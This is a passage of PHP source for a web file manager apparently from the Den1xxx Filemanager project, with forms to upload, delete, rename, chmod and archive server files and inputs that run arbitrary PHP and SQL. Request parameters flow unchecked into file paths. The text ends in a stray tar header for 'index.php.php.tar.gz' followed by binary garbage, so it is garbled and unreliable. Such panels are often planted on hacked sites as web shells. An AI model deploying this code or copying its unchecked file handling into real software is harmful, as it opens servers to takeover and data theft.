		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>index.php.php.tar.gz000064400000061523151736005430010371 0ustar00���z"I�(z�����!R�.�@�"%�fb_%H��
 �� "��:����~�z��|���y�y��kl��z�9���Rwssssws3sw��Y~�+7^
��Ea�2Ӗ"�[]��x2ODXA�{�j��o�?�H�1=
��F��@<�ł =E�L��U?U�P�?����?�g�
�y�8�+�T�����o�%������<�7��\��gX���n��|���=/����z=n;V��~�DU���Ũ�~D(>~C���؟��j��4�LAyf�IܔW�-��G����`,����0�(�&`����H�ƌf�4Ee7�(>|����f�"1x�q�|I��˛���R���>����8U���$�&K�4���H��,_6*���1wP_,U��0D��a��o�'F;������gv�m9��|ɨ�d�4m��<���n��Ʋ(ly�?���,?���9���Ǘ�F�s�����3�+�{V�%J���|�=�I8K*
���̍y�/H��f��R�w#Y�x	��T�XPW"w�y"��
I�s[{�	ә�i7��lx�:K޽(�
